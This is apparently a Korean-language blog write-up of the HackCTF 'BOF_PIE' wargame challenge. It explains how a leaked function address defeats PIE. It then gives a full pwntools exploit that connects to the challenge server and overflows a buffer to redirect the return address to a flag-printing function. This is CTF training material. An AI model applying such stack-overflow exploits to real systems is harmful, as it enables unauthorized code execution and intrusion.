Wargame/HackCTF
BOF_PIE
Anatis
2021. 3. 16. 16:29
1. Mitigation
- RELRO : Partial RELRO
GOT Overwrite가 가능하다.
- PIE, NX enabled
Code 영역을 포함한 모든 메모리 영역을 랜덤하게 매핑되고, 실행 권한이 없다.
2. 문제 확인
프로그램을 실행시키면 Hello, Do you know j0n9hyun? j0n9hyun is 주소가 출력된다.
입력 값을 입력하면 Nah...라는 문자를 출력하고 종료한다.
3. 풀이
IDA를 통해 함수 영역을 살펴보면 j0n9hyun 함수와 welcome 함수가 있는 것 을 확인할 수 있다.
welcome 함수에서 welcome 함수의 주소를 출력해주고 그 다음 입력을 받는다.
v1은 ebp로 부터 0x12만큼 떨어진 곳에 있다. 즉 18 바이트이다.
입력을 통해 리턴주소를 j0n9hyun 함수로 조작해주면 될것이다. 하지만 PIE 기법이 enable이라 메모리 주소가 매번 실행할때마다 바뀔 것이다.
하지만 libc.so.6 라이브 주소를 구하는것과 같이 offset은 변하지 않으니 PIE base 주소만 구할 수 있다면 리턴 주소를 j0n9hyn으로 조작할 수 있을것이다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3008)
elf = ELF('./bof_pie')
print r.recvuntil('is ')
welcome = int(r.recv(10), 16)
welcome_off = elf.symbols['welcome']
flag_off = elf.symbols['j0n9hyun']
log.info('welcome: ' + hex(welcome))
pie_base = welcome - welcome_off
flag = pie_base + flag_off
log.info('pie base: ' + hex(pie_base))
log.info('flag: ' + hex(flag))
payload = 'A'*22
payload += p32(flag)
r.sendline(payload)
r.interactive()